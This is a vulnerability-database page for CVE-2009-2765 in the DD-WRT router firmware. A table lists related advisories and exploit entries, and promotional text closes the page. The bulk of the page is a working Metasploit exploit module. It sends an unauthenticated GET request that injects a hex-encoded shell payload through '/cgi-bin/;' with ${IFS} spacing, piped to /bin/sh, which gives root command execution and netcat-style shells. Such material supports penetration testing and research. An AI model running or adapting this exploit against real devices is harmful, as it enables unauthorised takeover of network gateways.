| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2009-2765 | 20 Jul 200900:00 | – | circl | |
| CVE-2009-2765 | 14 Aug 200915:00 | – | cve | |
| CVE-2009-2765 | 14 Aug 200915:00 | – | cvelist | |
| DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution | 23 Jul 200900:00 | – | nessus | |
| DD-WRT HTTP v24-SP1 - Command Injection | 20 Jul 200900:00 | – | exploitdb | |
| DD-WRT HTTPd Daemon/Service - Arbitrary Command Execution (Metasploit) | 7 Jul 201000:00 | – | exploitdb | |
| DD-WRT HTTP v24-SP1 - Command Injection | 20 Jul 200900:00 | – | exploitpack | |
| CVE-2009-2765 | 14 Aug 200915:16 | – | nvd | |
| DD-WRT Web Management Interface Remote Arbitrary Shell Command Injection Vulnerability | 23 Sep 201300:00 | – | openvas | |
| DD-WRT HTTP Daemon Arbitrary Command Execution | 27 Oct 200900:00 | – | packetstorm |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /DD-WRT/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
'Description' => %q{
This module abuses a metacharacter injection vulnerability in the
HTTP management server of wireless gateways running DD-WRT. This flaw
allows an unauthenticated attacker to execute arbitrary commands as
the root user account.
},
'Author' => [ 'gat3way', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-2765' ],
[ 'OSVDB', '55990' ],
[ 'BID', '35742' ],
[ 'EDB', '9209' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'RequiredCmd' => 'generic netcat netcat-e'
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2009-07-20'
))
end
def exploit
cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
# TODO: force use of echo-ne CMD encoder
str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
print_status("Sending GET request with encoded command line...")
send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })
print_status("Giving the handler time to run...")
handler
select(nil, nil, nil, 10.0)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation